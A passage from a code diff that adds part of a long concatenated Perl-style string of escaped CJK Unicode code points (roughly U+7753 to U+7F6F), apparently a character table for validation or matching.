+'\x{7753}\x{7754}\x{7755}\x{7756}\x{7757}\x{7758}\x{7759}\x{775A}\x{775B}' .
+'\x{775C}\x{775D}\x{775E}\x{775F}\x{7760}\x{7761}\x{7762}\x{7763}\x{7765}' .
+'\x{7766}\x{7767}\x{7768}\x{7769}\x{776A}\x{776B}\x{776C}\x{776D}\x{776E}' .
+'\x{776F}\x{7770}\x{7771}\x{7772}\x{7773}\x{7774}\x{7775}\x{7776}\x{7777}' .
+'\x{7778}\x{7779}\x{777A}\x{777B}\x{777C}\x{777D}\x{777E}\x{777F}\x{7780}' .
+'\x{7781}\x{7782}\x{7783}\x{7784}\x{7785}\x{7786}\x{7787}\x{7788}\x{7789}' .
+'\x{778A}\x{778B}\x{778C}\x{778D}\x{778E}\x{778F}\x{7790}\x{7791}\x{7792}' .
+'\x{7793}\x{7794}\x{7795}\x{7797}\x{7798}\x{7799}\x{779A}\x{779B}\x{779C}' .
+'\x{779D}\x{779E}\x{779F}\x{77A0}\x{77A1}\x{77A2}\x{77A3}\x{77A5}\x{77A6}' .
+'\x{77A7}\x{77A8}\x{77A9}\x{77AA}\x{77AB}\x{77AC}\x{77AD}\x{77AE}\x{77AF}' .
+'\x{77B0}\x{77B1}\x{77B2}\x{77B3}\x{77B4}\x{77B5}\x{77B6}\x{77B7}\x{77B8}' .
+'\x{77B9}\x{77BA}\x{77BB}\x{77BC}\x{77BD}\x{77BF}\x{77C0}\x{77C2}\x{77C3}' .
+'\x{77C4}\x{77C5}\x{77C6}\x{77C7}\x{77C8}\x{77C9}\x{77CA}\x{77CB}\x{77CC}' .
+'\x{77CD}\x{77CE}\x{77CF}\x{77D0}\x{77D1}\x{77D3}\x{77D4}\x{77D5}\x{77D6}' .
+'\x{77D7}\x{77D8}\x{77D9}\x{77DA}\x{77DB}\x{77DC}\x{77DE}\x{77DF}\x{77E0}' .
+'\x{77E1}\x{77E2}\x{77E3}\x{77E5}\x{77E7}\x{77E8}\x{77E9}\x{77EA}\x{77EB}' .
+'\x{77EC}\x{77ED}\x{77EE}\x{77EF}\x{77F0}\x{77F1}\x{77F2}\x{77F3}\x{77F6}' .
+'\x{77F7}\x{77F8}\x{77F9}\x{77FA}\x{77FB}\x{77FC}\x{77FD}\x{77FE}\x{77FF}' .
+'\x{7800}\x{7801}\x{7802}\x{7803}\x{7804}\x{7805}\x{7806}\x{7808}\x{7809}' .
+'\x{780A}\x{780B}\x{780C}\x{780D}\x{780E}\x{780F}\x{7810}\x{7811}\x{7812}' .
+'\x{7813}\x{7814}\x{7815}\x{7816}\x{7817}\x{7818}\x{7819}\x{781A}\x{781B}' .
+'\x{781C}\x{781D}\x{781E}\x{781F}\x{7820}\x{7821}\x{7822}\x{7823}\x{7825}' .
+'\x{7826}\x{7827}\x{7828}\x{7829}\x{782A}\x{782B}\x{782C}\x{782D}\x{782E}' .
+'\x{782F}\x{7830}\x{7831}\x{7832}\x{7833}\x{7834}\x{7835}\x{7837}\x{7838}' .
+'\x{7839}\x{783A}\x{783B}\x{783C}\x{783D}\x{783E}\x{7840}\x{7841}\x{7843}' .
+'\x{7844}\x{7845}\x{7847}\x{7848}\x{7849}\x{784A}\x{784C}\x{784D}\x{784E}' .
+'\x{7850}\x{7851}\x{7852}\x{7853}\x{7854}\x{7855}\x{7856}\x{7857}\x{7858}' .
+'\x{7859}\x{785A}\x{785B}\x{785C}\x{785D}\x{785E}\x{785F}\x{7860}\x{7861}' .
+'\x{7862}\x{7863}\x{7864}\x{7865}\x{7866}\x{7867}\x{7868}\x{7869}\x{786A}' .
+'\x{786B}\x{786C}\x{786D}\x{786E}\x{786F}\x{7870}\x{7871}\x{7872}\x{7873}' .
+'\x{7874}\x{7875}\x{7877}\x{7878}\x{7879}\x{787A}\x{787B}\x{787C}\x{787D}' .
+'\x{787E}\x{787F}\x{7880}\x{7881}\x{7882}\x{7883}\x{7884}\x{7885}\x{7886}' .
+'\x{7887}\x{7889}\x{788A}\x{788B}\x{788C}\x{788D}\x{788E}\x{788F}\x{7890}' .
+'\x{7891}\x{7892}\x{7893}\x{7894}\x{7895}\x{7896}\x{7897}\x{7898}\x{7899}' .
+'\x{789A}\x{789B}\x{789C}\x{789D}\x{789E}\x{789F}\x{78A0}\x{78A1}\x{78A2}' .
+'\x{78A3}\x{78A4}\x{78A5}\x{78A6}\x{78A7}\x{78A8}\x{78A9}\x{78AA}\x{78AB}' .
+'\x{78AC}\x{78AD}\x{78AE}\x{78AF}\x{78B0}\x{78B1}\x{78B2}\x{78B3}\x{78B4}' .
+'\x{78B5}\x{78B6}\x{78B7}\x{78B8}\x{78B9}\x{78BA}\x{78BB}\x{78BC}\x{78BD}' .
+'\x{78BE}\x{78BF}\x{78C0}\x{78C1}\x{78C3}\x{78C4}\x{78C5}\x{78C6}\x{78C8}' .
+'\x{78C9}\x{78CA}\x{78CB}\x{78CC}\x{78CD}\x{78CE}\x{78CF}\x{78D0}\x{78D1}' .
+'\x{78D3}\x{78D4}\x{78D5}\x{78D6}\x{78D7}\x{78D8}\x{78D9}\x{78DA}\x{78DB}' .
+'\x{78DC}\x{78DD}\x{78DE}\x{78DF}\x{78E0}\x{78E1}\x{78E2}\x{78E3}\x{78E4}' .
+'\x{78E5}\x{78E6}\x{78E7}\x{78E8}\x{78E9}\x{78EA}\x{78EB}\x{78EC}\x{78ED}' .
+'\x{78EE}\x{78EF}\x{78F1}\x{78F2}\x{78F3}\x{78F4}\x{78F5}\x{78F6}\x{78F7}' .
+'\x{78F9}\x{78FA}\x{78FB}\x{78FC}\x{78FD}\x{78FE}\x{78FF}\x{7901}\x{7902}' .
+'\x{7903}\x{7904}\x{7905}\x{7906}\x{7907}\x{7909}\x{790A}\x{790B}\x{790C}' .
+'\x{790E}\x{790F}\x{7910}\x{7911}\x{7912}\x{7913}\x{7914}\x{7916}\x{7917}' .
+'\x{7918}\x{7919}\x{791A}\x{791B}\x{791C}\x{791D}\x{791E}\x{7921}\x{7922}' .
+'\x{7923}\x{7924}\x{7925}\x{7926}\x{7927}\x{7928}\x{7929}\x{792A}\x{792B}' .
+'\x{792C}\x{792D}\x{792E}\x{792F}\x{7930}\x{7931}\x{7933}\x{7934}\x{7935}' .
+'\x{7937}\x{7938}\x{7939}\x{793A}\x{793B}\x{793C}\x{793D}\x{793E}\x{793F}' .
+'\x{7940}\x{7941}\x{7942}\x{7943}\x{7944}\x{7945}\x{7946}\x{7947}\x{7948}' .
+'\x{7949}\x{794A}\x{794B}\x{794C}\x{794D}\x{794E}\x{794F}\x{7950}\x{7951}' .
+'\x{7952}\x{7953}\x{7954}\x{7955}\x{7956}\x{7957}\x{7958}\x{795A}\x{795B}' .
+'\x{795C}\x{795D}\x{795E}\x{795F}\x{7960}\x{7961}\x{7962}\x{7963}\x{7964}' .
+'\x{7965}\x{7966}\x{7967}\x{7968}\x{7969}\x{796A}\x{796B}\x{796D}\x{796F}' .
+'\x{7970}\x{7971}\x{7972}\x{7973}\x{7974}\x{7977}\x{7978}\x{7979}\x{797A}' .
+'\x{797B}\x{797C}\x{797D}\x{797E}\x{797F}\x{7980}\x{7981}\x{7982}\x{7983}' .
+'\x{7984}\x{7985}\x{7988}\x{7989}\x{798A}\x{798B}\x{798C}\x{798D}\x{798E}' .
+'\x{798F}\x{7990}\x{7991}\x{7992}\x{7993}\x{7994}\x{7995}\x{7996}\x{7997}' .
+'\x{7998}\x{7999}\x{799A}\x{799B}\x{799C}\x{799F}\x{79A0}\x{79A1}\x{79A2}' .
+'\x{79A3}\x{79A4}\x{79A5}\x{79A6}\x{79A7}\x{79A8}\x{79AA}\x{79AB}\x{79AC}' .
+'\x{79AD}\x{79AE}\x{79AF}\x{79B0}\x{79B1}\x{79B2}\x{79B3}\x{79B4}\x{79B5}' .
+'\x{79B6}\x{79B7}\x{79B8}\x{79B9}\x{79BA}\x{79BB}\x{79BD}\x{79BE}\x{79BF}' .
+'\x{79C0}\x{79C1}\x{79C2}\x{79C3}\x{79C5}\x{79C6}\x{79C8}\x{79C9}\x{79CA}' .
+'\x{79CB}\x{79CD}\x{79CE}\x{79CF}\x{79D0}\x{79D1}\x{79D2}\x{79D3}\x{79D5}' .
+'\x{79D6}\x{79D8}\x{79D9}\x{79DA}\x{79DB}\x{79DC}\x{79DD}\x{79DE}\x{79DF}' .
+'\x{79E0}\x{79E1}\x{79E2}\x{79E3}\x{79E4}\x{79E5}\x{79E6}\x{79E7}\x{79E8}' .
+'\x{79E9}\x{79EA}\x{79EB}\x{79EC}\x{79ED}\x{79EE}\x{79EF}\x{79F0}\x{79F1}' .
+'\x{79F2}\x{79F3}\x{79F4}\x{79F5}\x{79F6}\x{79F7}\x{79F8}\x{79F9}\x{79FA}' .
+'\x{79FB}\x{79FC}\x{79FD}\x{79FE}\x{79FF}\x{7A00}\x{7A02}\x{7A03}\x{7A04}' .
+'\x{7A05}\x{7A06}\x{7A08}\x{7A0A}\x{7A0B}\x{7A0C}\x{7A0D}\x{7A0E}\x{7A0F}' .
+'\x{7A10}\x{7A11}\x{7A12}\x{7A13}\x{7A14}\x{7A15}\x{7A16}\x{7A17}\x{7A18}' .
+'\x{7A19}\x{7A1A}\x{7A1B}\x{7A1C}\x{7A1D}\x{7A1E}\x{7A1F}\x{7A20}\x{7A21}' .
+'\x{7A22}\x{7A23}\x{7A24}\x{7A25}\x{7A26}\x{7A27}\x{7A28}\x{7A29}\x{7A2A}' .
+'\x{7A2B}\x{7A2D}\x{7A2E}\x{7A2F}\x{7A30}\x{7A31}\x{7A32}\x{7A33}\x{7A34}' .
+'\x{7A35}\x{7A37}\x{7A39}\x{7A3B}\x{7A3C}\x{7A3D}\x{7A3E}\x{7A3F}\x{7A40}' .
+'\x{7A41}\x{7A42}\x{7A43}\x{7A44}\x{7A45}\x{7A46}\x{7A47}\x{7A48}\x{7A49}' .
+'\x{7A4A}\x{7A4B}\x{7A4C}\x{7A4D}\x{7A4E}\x{7A50}\x{7A51}\x{7A52}\x{7A53}' .
+'\x{7A54}\x{7A55}\x{7A56}\x{7A57}\x{7A58}\x{7A59}\x{7A5A}\x{7A5B}\x{7A5C}' .
+'\x{7A5D}\x{7A5E}\x{7A5F}\x{7A60}\x{7A61}\x{7A62}\x{7A65}\x{7A66}\x{7A67}' .
+'\x{7A68}\x{7A69}\x{7A6B}\x{7A6C}\x{7A6D}\x{7A6E}\x{7A70}\x{7A71}\x{7A72}' .
+'\x{7A73}\x{7A74}\x{7A75}\x{7A76}\x{7A77}\x{7A78}\x{7A79}\x{7A7A}\x{7A7B}' .
+'\x{7A7C}\x{7A7D}\x{7A7E}\x{7A7F}\x{7A80}\x{7A81}\x{7A83}\x{7A84}\x{7A85}' .
+'\x{7A86}\x{7A87}\x{7A88}\x{7A89}\x{7A8A}\x{7A8B}\x{7A8C}\x{7A8D}\x{7A8E}' .
+'\x{7A8F}\x{7A90}\x{7A91}\x{7A92}\x{7A93}\x{7A94}\x{7A95}\x{7A96}\x{7A97}' .
+'\x{7A98}\x{7A99}\x{7A9C}\x{7A9D}\x{7A9E}\x{7A9F}\x{7AA0}\x{7AA1}\x{7AA2}' .
+'\x{7AA3}\x{7AA4}\x{7AA5}\x{7AA6}\x{7AA7}\x{7AA8}\x{7AA9}\x{7AAA}\x{7AAB}' .
+'\x{7AAC}\x{7AAD}\x{7AAE}\x{7AAF}\x{7AB0}\x{7AB1}\x{7AB2}\x{7AB3}\x{7AB4}' .
+'\x{7AB5}\x{7AB6}\x{7AB7}\x{7AB8}\x{7ABA}\x{7ABE}\x{7ABF}\x{7AC0}\x{7AC1}' .
+'\x{7AC4}\x{7AC5}\x{7AC7}\x{7AC8}\x{7AC9}\x{7ACA}\x{7ACB}\x{7ACC}\x{7ACD}' .
+'\x{7ACE}\x{7ACF}\x{7AD0}\x{7AD1}\x{7AD2}\x{7AD3}\x{7AD4}\x{7AD5}\x{7AD6}' .
+'\x{7AD8}\x{7AD9}\x{7ADB}\x{7ADC}\x{7ADD}\x{7ADE}\x{7ADF}\x{7AE0}\x{7AE1}' .
+'\x{7AE2}\x{7AE3}\x{7AE4}\x{7AE5}\x{7AE6}\x{7AE7}\x{7AE8}\x{7AEA}\x{7AEB}' .
+'\x{7AEC}\x{7AED}\x{7AEE}\x{7AEF}\x{7AF0}\x{7AF1}\x{7AF2}\x{7AF3}\x{7AF4}' .
+'\x{7AF6}\x{7AF7}\x{7AF8}\x{7AF9}\x{7AFA}\x{7AFB}\x{7AFD}\x{7AFE}\x{7AFF}' .
+'\x{7B00}\x{7B01}\x{7B02}\x{7B03}\x{7B04}\x{7B05}\x{7B06}\x{7B08}\x{7B09}' .
+'\x{7B0A}\x{7B0B}\x{7B0C}\x{7B0D}\x{7B0E}\x{7B0F}\x{7B10}\x{7B11}\x{7B12}' .
+'\x{7B13}\x{7B14}\x{7B15}\x{7B16}\x{7B17}\x{7B18}\x{7B19}\x{7B1A}\x{7B1B}' .
+'\x{7B1C}\x{7B1D}\x{7B1E}\x{7B20}\x{7B21}\x{7B22}\x{7B23}\x{7B24}\x{7B25}' .
+'\x{7B26}\x{7B28}\x{7B2A}\x{7B2B}\x{7B2C}\x{7B2D}\x{7B2E}\x{7B2F}\x{7B30}' .
+'\x{7B31}\x{7B32}\x{7B33}\x{7B34}\x{7B35}\x{7B36}\x{7B37}\x{7B38}\x{7B39}' .
+'\x{7B3A}\x{7B3B}\x{7B3C}\x{7B3D}\x{7B3E}\x{7B3F}\x{7B40}\x{7B41}\x{7B43}' .
+'\x{7B44}\x{7B45}\x{7B46}\x{7B47}\x{7B48}\x{7B49}\x{7B4A}\x{7B4B}\x{7B4C}' .
+'\x{7B4D}\x{7B4E}\x{7B4F}\x{7B50}\x{7B51}\x{7B52}\x{7B54}\x{7B55}\x{7B56}' .
+'\x{7B57}\x{7B58}\x{7B59}\x{7B5A}\x{7B5B}\x{7B5C}\x{7B5D}\x{7B5E}\x{7B5F}' .
+'\x{7B60}\x{7B61}\x{7B62}\x{7B63}\x{7B64}\x{7B65}\x{7B66}\x{7B67}\x{7B68}' .
+'\x{7B69}\x{7B6A}\x{7B6B}\x{7B6C}\x{7B6D}\x{7B6E}\x{7B70}\x{7B71}\x{7B72}' .
+'\x{7B73}\x{7B74}\x{7B75}\x{7B76}\x{7B77}\x{7B78}\x{7B79}\x{7B7B}\x{7B7C}' .
+'\x{7B7D}\x{7B7E}\x{7B7F}\x{7B80}\x{7B81}\x{7B82}\x{7B83}\x{7B84}\x{7B85}' .
+'\x{7B87}\x{7B88}\x{7B89}\x{7B8A}\x{7B8B}\x{7B8C}\x{7B8D}\x{7B8E}\x{7B8F}' .
+'\x{7B90}\x{7B91}\x{7B93}\x{7B94}\x{7B95}\x{7B96}\x{7B97}\x{7B98}\x{7B99}' .
+'\x{7B9A}\x{7B9B}\x{7B9C}\x{7B9D}\x{7B9E}\x{7B9F}\x{7BA0}\x{7BA1}\x{7BA2}' .
+'\x{7BA4}\x{7BA6}\x{7BA7}\x{7BA8}\x{7BA9}\x{7BAA}\x{7BAB}\x{7BAC}\x{7BAD}' .
+'\x{7BAE}\x{7BAF}\x{7BB1}\x{7BB3}\x{7BB4}\x{7BB5}\x{7BB6}\x{7BB7}\x{7BB8}' .
+'\x{7BB9}\x{7BBA}\x{7BBB}\x{7BBC}\x{7BBD}\x{7BBE}\x{7BBF}\x{7BC0}\x{7BC1}' .
+'\x{7BC2}\x{7BC3}\x{7BC4}\x{7BC5}\x{7BC6}\x{7BC7}\x{7BC8}\x{7BC9}\x{7BCA}' .
+'\x{7BCB}\x{7BCC}\x{7BCD}\x{7BCE}\x{7BD0}\x{7BD1}\x{7BD2}\x{7BD3}\x{7BD4}' .
+'\x{7BD5}\x{7BD6}\x{7BD7}\x{7BD8}\x{7BD9}\x{7BDA}\x{7BDB}\x{7BDC}\x{7BDD}' .
+'\x{7BDE}\x{7BDF}\x{7BE0}\x{7BE1}\x{7BE2}\x{7BE3}\x{7BE4}\x{7BE5}\x{7BE6}' .
+'\x{7BE7}\x{7BE8}\x{7BE9}\x{7BEA}\x{7BEB}\x{7BEC}\x{7BED}\x{7BEE}\x{7BEF}' .
+'\x{7BF0}\x{7BF1}\x{7BF2}\x{7BF3}\x{7BF4}\x{7BF5}\x{7BF6}\x{7BF7}\x{7BF8}' .
+'\x{7BF9}\x{7BFB}\x{7BFC}\x{7BFD}\x{7BFE}\x{7BFF}\x{7C00}\x{7C01}\x{7C02}' .
+'\x{7C03}\x{7C04}\x{7C05}\x{7C06}\x{7C07}\x{7C08}\x{7C09}\x{7C0A}\x{7C0B}' .
+'\x{7C0C}\x{7C0D}\x{7C0E}\x{7C0F}\x{7C10}\x{7C11}\x{7C12}\x{7C13}\x{7C15}' .
+'\x{7C16}\x{7C17}\x{7C18}\x{7C19}\x{7C1A}\x{7C1C}\x{7C1D}\x{7C1E}\x{7C1F}' .
+'\x{7C20}\x{7C21}\x{7C22}\x{7C23}\x{7C24}\x{7C25}\x{7C26}\x{7C27}\x{7C28}' .
+'\x{7C29}\x{7C2A}\x{7C2B}\x{7C2C}\x{7C2D}\x{7C30}\x{7C31}\x{7C32}\x{7C33}' .
+'\x{7C34}\x{7C35}\x{7C36}\x{7C37}\x{7C38}\x{7C39}\x{7C3A}\x{7C3B}\x{7C3C}' .
+'\x{7C3D}\x{7C3E}\x{7C3F}\x{7C40}\x{7C41}\x{7C42}\x{7C43}\x{7C44}\x{7C45}' .
+'\x{7C46}\x{7C47}\x{7C48}\x{7C49}\x{7C4A}\x{7C4B}\x{7C4C}\x{7C4D}\x{7C4E}' .
+'\x{7C50}\x{7C51}\x{7C53}\x{7C54}\x{7C56}\x{7C57}\x{7C58}\x{7C59}\x{7C5A}' .
+'\x{7C5B}\x{7C5C}\x{7C5E}\x{7C5F}\x{7C60}\x{7C61}\x{7C62}\x{7C63}\x{7C64}' .
+'\x{7C65}\x{7C66}\x{7C67}\x{7C68}\x{7C69}\x{7C6A}\x{7C6B}\x{7C6C}\x{7C6D}' .
+'\x{7C6E}\x{7C6F}\x{7C70}\x{7C71}\x{7C72}\x{7C73}\x{7C74}\x{7C75}\x{7C77}' .
+'\x{7C78}\x{7C79}\x{7C7A}\x{7C7B}\x{7C7C}\x{7C7D}\x{7C7E}\x{7C7F}\x{7C80}' .
+'\x{7C81}\x{7C82}\x{7C84}\x{7C85}\x{7C86}\x{7C88}\x{7C89}\x{7C8A}\x{7C8B}' .
+'\x{7C8C}\x{7C8D}\x{7C8E}\x{7C8F}\x{7C90}\x{7C91}\x{7C92}\x{7C94}\x{7C95}' .
+'\x{7C96}\x{7C97}\x{7C98}\x{7C99}\x{7C9B}\x{7C9C}\x{7C9D}\x{7C9E}\x{7C9F}' .
+'\x{7CA0}\x{7CA1}\x{7CA2}\x{7CA3}\x{7CA4}\x{7CA5}\x{7CA6}\x{7CA7}\x{7CA8}' .
+'\x{7CA9}\x{7CAA}\x{7CAD}\x{7CAE}\x{7CAF}\x{7CB0}\x{7CB1}\x{7CB2}\x{7CB3}' .
+'\x{7CB4}\x{7CB5}\x{7CB6}\x{7CB7}\x{7CB8}\x{7CB9}\x{7CBA}\x{7CBB}\x{7CBC}' .
+'\x{7CBD}\x{7CBE}\x{7CBF}\x{7CC0}\x{7CC1}\x{7CC2}\x{7CC3}\x{7CC4}\x{7CC5}' .
+'\x{7CC6}\x{7CC7}\x{7CC8}\x{7CC9}\x{7CCA}\x{7CCB}\x{7CCC}\x{7CCD}\x{7CCE}' .
+'\x{7CCF}\x{7CD0}\x{7CD1}\x{7CD2}\x{7CD4}\x{7CD5}\x{7CD6}\x{7CD7}\x{7CD8}' .
+'\x{7CD9}\x{7CDC}\x{7CDD}\x{7CDE}\x{7CDF}\x{7CE0}\x{7CE2}\x{7CE4}\x{7CE7}' .
+'\x{7CE8}\x{7CE9}\x{7CEA}\x{7CEB}\x{7CEC}\x{7CED}\x{7CEE}\x{7CEF}\x{7CF0}' .
+'\x{7CF1}\x{7CF2}\x{7CF3}\x{7CF4}\x{7CF5}\x{7CF6}\x{7CF7}\x{7CF8}\x{7CF9}' .
+'\x{7CFA}\x{7CFB}\x{7CFD}\x{7CFE}\x{7D00}\x{7D01}\x{7D02}\x{7D03}\x{7D04}' .
+'\x{7D05}\x{7D06}\x{7D07}\x{7D08}\x{7D09}\x{7D0A}\x{7D0B}\x{7D0C}\x{7D0D}' .
+'\x{7D0E}\x{7D0F}\x{7D10}\x{7D11}\x{7D12}\x{7D13}\x{7D14}\x{7D15}\x{7D16}' .
+'\x{7D17}\x{7D18}\x{7D19}\x{7D1A}\x{7D1B}\x{7D1C}\x{7D1D}\x{7D1E}\x{7D1F}' .
+'\x{7D20}\x{7D21}\x{7D22}\x{7D24}\x{7D25}\x{7D26}\x{7D27}\x{7D28}\x{7D29}' .
+'\x{7D2B}\x{7D2C}\x{7D2E}\x{7D2F}\x{7D30}\x{7D31}\x{7D32}\x{7D33}\x{7D34}' .
+'\x{7D35}\x{7D36}\x{7D37}\x{7D38}\x{7D39}\x{7D3A}\x{7D3B}\x{7D3C}\x{7D3D}' .
+'\x{7D3E}\x{7D3F}\x{7D40}\x{7D41}\x{7D42}\x{7D43}\x{7D44}\x{7D45}\x{7D46}' .
+'\x{7D47}\x{7D49}\x{7D4A}\x{7D4B}\x{7D4C}\x{7D4E}\x{7D4F}\x{7D50}\x{7D51}' .
+'\x{7D52}\x{7D53}\x{7D54}\x{7D55}\x{7D56}\x{7D57}\x{7D58}\x{7D59}\x{7D5B}' .
+'\x{7D5C}\x{7D5D}\x{7D5E}\x{7D5F}\x{7D60}\x{7D61}\x{7D62}\x{7D63}\x{7D65}' .
+'\x{7D66}\x{7D67}\x{7D68}\x{7D69}\x{7D6A}\x{7D6B}\x{7D6C}\x{7D6D}\x{7D6E}' .
+'\x{7D6F}\x{7D70}\x{7D71}\x{7D72}\x{7D73}\x{7D74}\x{7D75}\x{7D76}\x{7D77}' .
+'\x{7D79}\x{7D7A}\x{7D7B}\x{7D7C}\x{7D7D}\x{7D7E}\x{7D7F}\x{7D80}\x{7D81}' .
+'\x{7D83}\x{7D84}\x{7D85}\x{7D86}\x{7D87}\x{7D88}\x{7D89}\x{7D8A}\x{7D8B}' .
+'\x{7D8C}\x{7D8D}\x{7D8E}\x{7D8F}\x{7D90}\x{7D91}\x{7D92}\x{7D93}\x{7D94}' .
+'\x{7D96}\x{7D97}\x{7D99}\x{7D9B}\x{7D9C}\x{7D9D}\x{7D9E}\x{7D9F}\x{7DA0}' .
+'\x{7DA1}\x{7DA2}\x{7DA3}\x{7DA5}\x{7DA6}\x{7DA7}\x{7DA9}\x{7DAA}\x{7DAB}' .
+'\x{7DAC}\x{7DAD}\x{7DAE}\x{7DAF}\x{7DB0}\x{7DB1}\x{7DB2}\x{7DB3}\x{7DB4}' .
+'\x{7DB5}\x{7DB6}\x{7DB7}\x{7DB8}\x{7DB9}\x{7DBA}\x{7DBB}\x{7DBC}\x{7DBD}' .
+'\x{7DBE}\x{7DBF}\x{7DC0}\x{7DC1}\x{7DC2}\x{7DC3}\x{7DC4}\x{7DC5}\x{7DC6}' .
+'\x{7DC7}\x{7DC8}\x{7DC9}\x{7DCA}\x{7DCB}\x{7DCC}\x{7DCE}\x{7DCF}\x{7DD0}' .
+'\x{7DD1}\x{7DD2}\x{7DD4}\x{7DD5}\x{7DD6}\x{7DD7}\x{7DD8}\x{7DD9}\x{7DDA}' .
+'\x{7DDB}\x{7DDD}\x{7DDE}\x{7DDF}\x{7DE0}\x{7DE1}\x{7DE2}\x{7DE3}\x{7DE6}' .
+'\x{7DE7}\x{7DE8}\x{7DE9}\x{7DEA}\x{7DEC}\x{7DED}\x{7DEE}\x{7DEF}\x{7DF0}' .
+'\x{7DF1}\x{7DF2}\x{7DF3}\x{7DF4}\x{7DF5}\x{7DF6}\x{7DF7}\x{7DF8}\x{7DF9}' .
+'\x{7DFA}\x{7DFB}\x{7DFC}\x{7E00}\x{7E01}\x{7E02}\x{7E03}\x{7E04}\x{7E05}' .
+'\x{7E06}\x{7E07}\x{7E08}\x{7E09}\x{7E0A}\x{7E0B}\x{7E0C}\x{7E0D}\x{7E0E}' .
+'\x{7E0F}\x{7E10}\x{7E11}\x{7E12}\x{7E13}\x{7E14}\x{7E15}\x{7E16}\x{7E17}' .
+'\x{7E19}\x{7E1A}\x{7E1B}\x{7E1C}\x{7E1D}\x{7E1E}\x{7E1F}\x{7E20}\x{7E21}' .
+'\x{7E22}\x{7E23}\x{7E24}\x{7E25}\x{7E26}\x{7E27}\x{7E28}\x{7E29}\x{7E2A}' .
+'\x{7E2B}\x{7E2C}\x{7E2D}\x{7E2E}\x{7E2F}\x{7E30}\x{7E31}\x{7E32}\x{7E33}' .
+'\x{7E34}\x{7E35}\x{7E36}\x{7E37}\x{7E38}\x{7E39}\x{7E3A}\x{7E3B}\x{7E3C}' .
+'\x{7E3D}\x{7E3E}\x{7E3F}\x{7E40}\x{7E41}\x{7E42}\x{7E43}\x{7E44}\x{7E45}' .
+'\x{7E46}\x{7E47}\x{7E48}\x{7E49}\x{7E4C}\x{7E4D}\x{7E4E}\x{7E4F}\x{7E50}' .
+'\x{7E51}\x{7E52}\x{7E53}\x{7E54}\x{7E55}\x{7E56}\x{7E57}\x{7E58}\x{7E59}' .
+'\x{7E5A}\x{7E5C}\x{7E5D}\x{7E5E}\x{7E5F}\x{7E60}\x{7E61}\x{7E62}\x{7E63}' .
+'\x{7E65}\x{7E66}\x{7E67}\x{7E68}\x{7E69}\x{7E6A}\x{7E6B}\x{7E6C}\x{7E6D}' .
+'\x{7E6E}\x{7E6F}\x{7E70}\x{7E71}\x{7E72}\x{7E73}\x{7E74}\x{7E75}\x{7E76}' .
+'\x{7E77}\x{7E78}\x{7E79}\x{7E7A}\x{7E7B}\x{7E7C}\x{7E7D}\x{7E7E}\x{7E7F}' .
+'\x{7E80}\x{7E81}\x{7E82}\x{7E83}\x{7E84}\x{7E85}\x{7E86}\x{7E87}\x{7E88}' .
+'\x{7E89}\x{7E8A}\x{7E8B}\x{7E8C}\x{7E8D}\x{7E8E}\x{7E8F}\x{7E90}\x{7E91}' .
+'\x{7E92}\x{7E93}\x{7E94}\x{7E95}\x{7E96}\x{7E97}\x{7E98}\x{7E99}\x{7E9A}' .
+'\x{7E9B}\x{7E9C}\x{7E9E}\x{7E9F}\x{7EA0}\x{7EA1}\x{7EA2}\x{7EA3}\x{7EA4}' .
+'\x{7EA5}\x{7EA6}\x{7EA7}\x{7EA8}\x{7EA9}\x{7EAA}\x{7EAB}\x{7EAC}\x{7EAD}' .
+'\x{7EAE}\x{7EAF}\x{7EB0}\x{7EB1}\x{7EB2}\x{7EB3}\x{7EB4}\x{7EB5}\x{7EB6}' .
+'\x{7EB7}\x{7EB8}\x{7EB9}\x{7EBA}\x{7EBB}\x{7EBC}\x{7EBD}\x{7EBE}\x{7EBF}' .
+'\x{7EC0}\x{7EC1}\x{7EC2}\x{7EC3}\x{7EC4}\x{7EC5}\x{7EC6}\x{7EC7}\x{7EC8}' .
+'\x{7EC9}\x{7ECA}\x{7ECB}\x{7ECC}\x{7ECD}\x{7ECE}\x{7ECF}\x{7ED0}\x{7ED1}' .
+'\x{7ED2}\x{7ED3}\x{7ED4}\x{7ED5}\x{7ED6}\x{7ED7}\x{7ED8}\x{7ED9}\x{7EDA}' .
+'\x{7EDB}\x{7EDC}\x{7EDD}\x{7EDE}\x{7EDF}\x{7EE0}\x{7EE1}\x{7EE2}\x{7EE3}' .
+'\x{7EE4}\x{7EE5}\x{7EE6}\x{7EE7}\x{7EE8}\x{7EE9}\x{7EEA}\x{7EEB}\x{7EEC}' .
+'\x{7EED}\x{7EEE}\x{7EEF}\x{7EF0}\x{7EF1}\x{7EF2}\x{7EF3}\x{7EF4}\x{7EF5}' .
+'\x{7EF6}\x{7EF7}\x{7EF8}\x{7EF9}\x{7EFA}\x{7EFB}\x{7EFC}\x{7EFD}\x{7EFE}' .
+'\x{7EFF}\x{7F00}\x{7F01}\x{7F02}\x{7F03}\x{7F04}\x{7F05}\x{7F06}\x{7F07}' .
+'\x{7F08}\x{7F09}\x{7F0A}\x{7F0B}\x{7F0C}\x{7F0D}\x{7F0E}\x{7F0F}\x{7F10}' .
+'\x{7F11}\x{7F12}\x{7F13}\x{7F14}\x{7F15}\x{7F16}\x{7F17}\x{7F18}\x{7F19}' .
+'\x{7F1A}\x{7F1B}\x{7F1C}\x{7F1D}\x{7F1E}\x{7F1F}\x{7F20}\x{7F21}\x{7F22}' .
+'\x{7F23}\x{7F24}\x{7F25}\x{7F26}\x{7F27}\x{7F28}\x{7F29}\x{7F2A}\x{7F2B}' .
+'\x{7F2C}\x{7F2D}\x{7F2E}\x{7F2F}\x{7F30}\x{7F31}\x{7F32}\x{7F33}\x{7F34}' .
+'\x{7F35}\x{7F36}\x{7F37}\x{7F38}\x{7F39}\x{7F3A}\x{7F3D}\x{7F3E}\x{7F3F}' .
+'\x{7F40}\x{7F42}\x{7F43}\x{7F44}\x{7F45}\x{7F47}\x{7F48}\x{7F49}\x{7F4A}' .
+'\x{7F4B}\x{7F4C}\x{7F4D}\x{7F4E}\x{7F4F}\x{7F50}\x{7F51}\x{7F52}\x{7F53}' .
+'\x{7F54}\x{7F55}\x{7F56}\x{7F57}\x{7F58}\x{7F5A}\x{7F5B}\x{7F5C}\x{7F5D}' .
+'\x{7F5E}\x{7F5F}\x{7F60}\x{7F61}\x{7F62}\x{7F63}\x{7F64}\x{7F65}\x{7F66}' .
+'\x{7F67}\x{7F68}\x{7F69}\x{7F6A}\x{7F6B}\x{7F6C}\x{7F6D}\x{7F6E}\x{7F6F}' .
